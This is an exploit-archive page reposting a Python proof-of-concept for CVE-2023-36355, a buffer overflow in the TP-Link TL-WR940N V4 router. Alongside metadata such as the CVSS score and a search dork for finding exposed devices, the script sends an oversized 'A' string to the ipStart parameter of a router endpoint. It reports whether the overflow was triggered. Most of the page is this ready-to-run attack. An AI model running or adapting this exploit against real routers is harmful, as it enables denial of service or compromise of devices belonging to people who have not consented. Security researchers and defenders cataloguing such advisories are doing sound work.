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TP-Link TL-WR940N 4 Buffer Overflow

CVE Category Price Severity
CVE-2023-36355 CWE-119: Buffer Errors $5000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2023-07-05
CVSS
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023070011

Below is a copy:

TP-Link TL-WR940N 4 Buffer Overflow
# Exploit Title: TP-Link TL-WR940N V4 - Buffer OverFlow
# Date: 2023-06-30
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : hardware
# Dork : /userRpm/WanDynamicIpV6CfgRpm
# Tested on: Windows/Linux
# CVE : CVE-2023-36355

import requests

# Replace the IP address with the router's IP
router_ip = '192.168.0.1'

# Construct the URL with the vulnerable endpoint and parameter
url = f'http://{router_ip}/userRpm/WanDynamicIpV6CfgRpm?ipStart='

# Replace the payload with a crafted payload that triggers the buffer overflow
payload = 'A' * 5000  # Example payload, adjust the length as needed

# Send the GET request with the crafted payload
response = requests.get(url + payload)

# Check the response status code
if response.status_code == 200:
    print('Buffer overflow triggered successfully')
else:
    print('Buffer overflow not triggered')
            

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